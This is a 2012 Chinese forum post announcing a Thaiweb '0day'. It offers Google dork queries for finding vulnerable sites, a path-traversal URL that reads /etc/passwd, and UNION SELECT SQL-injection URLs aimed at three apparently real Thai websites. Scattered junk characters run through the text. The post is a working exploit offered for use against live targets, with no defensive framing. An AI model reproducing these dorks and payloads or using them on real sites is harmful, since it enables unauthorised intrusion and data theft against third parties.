找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2355|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:# _" \& q8 ^/ C1 i# |4 i; I
9 |0 w0 y6 {/ N; y
intext:powered by Thaiweb
" v! E( @- E, K, j
' a& V5 o0 e. q; }) U/ Finurl:index.php?page=board.php
- T1 Z2 W2 V+ l/ V2 w  p4 z: ~/ |" c8 ?1 Q! x: x
7 ~: v8 v( j0 \/ m4 }

' X0 J7 O+ w0 E. m0 Z: A利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd( ~( A/ a4 _- y
$ M; R0 D3 u; r, ~: |" P5 n
; ~; U/ g3 q7 S+ m2 s, ?
; @, I* ]9 S- A# U/ f
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'3 n& @. H; t# i9 p7 i
0 k; H/ T6 U. u

' @- F5 G$ @1 {! R& F+ L' h; {. Q% ~+ A7 @6 t3 I# M! X" {  u$ ]
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
3 ]0 C  s) ~' ~. a
6 ^+ s# M% ?4 d; V' m) k* rhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
# n1 A# y/ Q* N0 R7 N! o
1 X1 a( O) ~' _' Yhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
+ S; B. B4 a! Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表